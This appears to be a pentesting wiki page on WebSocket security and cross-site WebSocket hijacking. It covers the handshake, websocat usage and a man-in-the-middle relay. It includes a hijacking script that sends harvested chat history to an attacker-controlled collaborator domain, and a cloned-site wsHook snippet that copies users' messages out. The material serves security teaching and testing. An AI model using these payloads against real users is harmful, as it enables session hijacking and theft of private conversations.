# Cross-site WebSocket hijacking (CSWSH)

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## What are WebSockets

WebSocket connections are initiated over **HTTP** and are typically **long-lived**. Messages can be sent in **either direction at any time** and are not transactional in nature. The connection will normally stay open and idle until either the client or the server is ready to send a message.\
WebSockets are particularly useful in situations where **low-latency or server-initiated messages** are required, such as real-time feeds of financial data.

## How are WebSocket connections established?

(Here you will find a summary but a **more detailed guide about how a web socket connection** is created can be found [**here**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)).\
WebSocket connections are normally created using client-side JavaScript like the following:

```javascript
var ws = new WebSocket("wss://normal-website.com/chat");
```

The **`wss`** protocol establishes a WebSocket over an encrypted **TLS** connection, while the **`ws`** protocol uses an **unencrypted** connection.

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:

```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```

If the server accepts the connection, it returns a WebSocket handshake response like the following:

```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```

At this point, the network connection remains open and can be used to send WebSocket messages in either direction.

**Note**

Several **features** of the WebSocket **handshake** messages are worth noting:

* The **`Connection`** and **`Upgrade`** headers in the request and response **indicate** that this is a **WebSocket handshake**.
* The **`Sec-WebSocket-Version`** request header specifies the **WebSocket protocol version** that the client wishes to use. This is typically `13`.
* The **`Sec-WebSocket-Key`** request header contains a Base64-encoded **random value**, which should be randomly generated in each handshake request.
* The **`Sec-WebSocket-Accept`** response header contains a hash of the value submitted in the `Sec-WebSocket-Key` request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

The **`Sec-WebSocket-Key`** header contains a **random value** to prevent errors from caching proxies, and **is not used for authentication or session handling purposes** (_It's not a CSRF token_).

### Linux console

You can use `websocat` to stablish a raw connection with a websocket.

```bash
websocat --insecure wss://10.10.10.10:8000 -v
```

Or to create a websocat server:

```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```

## MitM websocket connections

If you find that clients are connected to a **HTTP websocket** from your current local network you could try an [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)to perform a MitM attack between the client and the server.\
Once the client is trying to connect to you can then use:

```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```

## Websockets Enumeration

You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **to discover, fingerprint and search for known** **vulnerabilities** in websockets automatically.

## Cross-site WebSocket hijacking (CSWSH)

Also known as _cross-origin WebSocket hijacking_.\
**It is a** [**Cross-Site Request Forgery (CSRF)**](csrf-cross-site-request-forgery.md) **on a WebSocket handshake.**

It arises when the **WebSocket handshake** request relies solely on **HTTP cookies** for session handling and does **not contain any CSRF tokens** or other unpredictable values.\
An attacker can create a **malicious web page** on their own domain which **establishes a cross-site WebSocket** connection to the vulnerable application. The application will handle the connection in the **context of the victim user's session** with the application.

### Simple Attack

Note that when **establishing** a **websocket** connection the **cookie** is **sent** to the server. The **server** might be using it to **relate** each **specific** **user** with his **websocket** **session based on the sent cookie**.

Then, if for **example** the **websocket** **server** **sends back the history of the conversation** of a user if a msg with "**READY"** is sent, then a **simple XSS** establishing the connection (the **cookie** will be **sent** **automatically** to authorise the victim user) **sending** "**READY**" will be able to **retrieve** the history of the **conversation**.:

```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```

### Cross Origin + Cookie with a different subdomain

In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) the attacker managed to **execute arbitrary Javascript in a subdomain** of the domain where the web socket communication was occurring. Because it was a **subdomain**, the **cookie** was being **sent**, and because the **Websocket didn't check the Origin properly**, it was possible to communicate with it and **steal tokens from it**.

### Stealing data from user

Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:

```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "client_msg?m="+data, true);
    xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
    var xhttp = new XMLHttpRequest();
    xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
    xhttp.send();
    return messageEvent;
}
```

Now download the `wsHook.js` file from [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) and **save it inside the folder with the web files**.\
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:

```javascript
sudo python3 -m http.server 80
```

## Other vulnerabilities

As Web Sockets are a mechanism to **send data to server side and client side**, depending on how the server and client handles the information, **Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.**

## **WebSocket Smuggling**

This vulnerability could allow you to **bypass reverse proxies restrictions** by making them believe that a **websocket communication was stablished** (even if it isn't true). This could allow an attacker to **access hidden endpoints**. For more information check the following page:

{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}

## References

{% embed url="https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages" %}

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